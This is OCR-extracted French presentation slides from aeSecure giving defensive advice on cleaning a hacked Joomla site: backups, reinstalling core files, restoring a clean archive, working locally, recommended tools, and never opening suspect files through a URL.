Gestionnaire de fichiers pour Windows apportant
quantite d'ameliorations comme p.ex. une vue a plat,
une seconde fenétre de visualisation des fichiers
(contenu ou rendu), de puissants filtres, criteres de

selection, une coloration des fichiers, une recherche, ...

Un Must have !
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BACKUPS

Avant toute action de votre part;
prenez une sauvegarde de votre site
en I'etat, méme s'il est hacke.

un fichier nécessaire au
fonctionnement du site, si vous
n'avez pas une sauvegarde, vous
serez comme coyote... oups!.
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JOOMLAI® 3.6

Depuis sa version 3.6, Joomla!® propose maintenant
de réinstaller les fichiers du core, si vous n'avez pas
apportée de modifications dans les fichiers natifs, vous
supprimerez deja quantite de virus en reinstallant les
fichiers du CMS.

Cette option est proposee dans I'ecran Composants -
Mise a jour de Joomla!
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RESTAURER UNE ARCHIVE SAINE

Si vous avez adopte les bonnes pratiques qui sont de
prendre des sauvegardes réegulieres de votre site,
recupérer une version ayant ete faite avant le hack et
restaurez cette version.

Attention : si le hack a pu reussir, c’est que votre site
était failible => mettez-le a jour et protégez-le. Ne vous
arrétez pas apres l'avoir restaure.

Restaurer le site => le mettre a jour => le proteger
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TRAVAILLEZ SUR UNE VERSION LOCALE

Méme si votre site de production est hackeé, Il est
preferable de travalller en local : prenez un backup de
votre site et restaurez-le sur votre ordinateur.

Vous aurez moins de stress et, de fait, vous aurez
toujours un backup des fichiers au cas ou...
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Accueil - Objectifs - Vidéo - Menace - Joomla!® - Surveillez - Hack - Outils - Nettoyer - Contact

LES OUTILS DONT VOUS ALLEZ AVOIR
BESOIN

e Un editeur de texte style Notepad++ cad permettant
de sauver en UTF-8 NoBom

e \WinMerge ou MeldMerge pour les comparaisons de
fichiers

e |dealement un excellent gestionnaire de fichiers
permettant des recherches, d’avoir une vue « a
plat », ... Personnellement, j’utilise XYplorer, pour
Windows.

Ft csurtout vos veux votre maitrise de JoomlalR) et
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N'EXECUTEZ PAS UN VIRUS

Lorsque vous aurez detecté un fichier suspect sur votre
serveur, n'y accedez surtout pas depuis une URL (ne
surfez pas vers http://localhost/le-fichier-suspect.php)
mais éditez le fichier pour en lire son contenu (depuis

son client FTP pour un site distant).

Accéder a un fichier par URL revient a I’exécuter
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BESOIN D'AIDE ?

Si vous avez besoin de l'aide d'un professionnel,
n'hésitez pas a prendre contact avec moi, j'al
développé un scanner "DeepScan” permettant de
nettoyer votre site web.

https://www.aesecure.com/fr/telechargement.html
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PROTEGER SON SITE JOOMLA!®

Je vous invite a consulter le document “La sécurite et
Joomla!®” pour apprendre a securiser votre site web
afin de ne plus étre victime de pirate :

https://www.aesecure.com/fr/blog/joomla-
securite.html
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MERCI POUR VOTRE ATTENTION!

e Blog: aesecure.com

o Twitter: @aeSecure

e Facebook: aeSecure

e Slides: slides.aesecure.com

e Emaill: christophe AT aesecure.com

aeSecure
Website security & optimization tool

Slideshow: Reveal.js (@hakimel)
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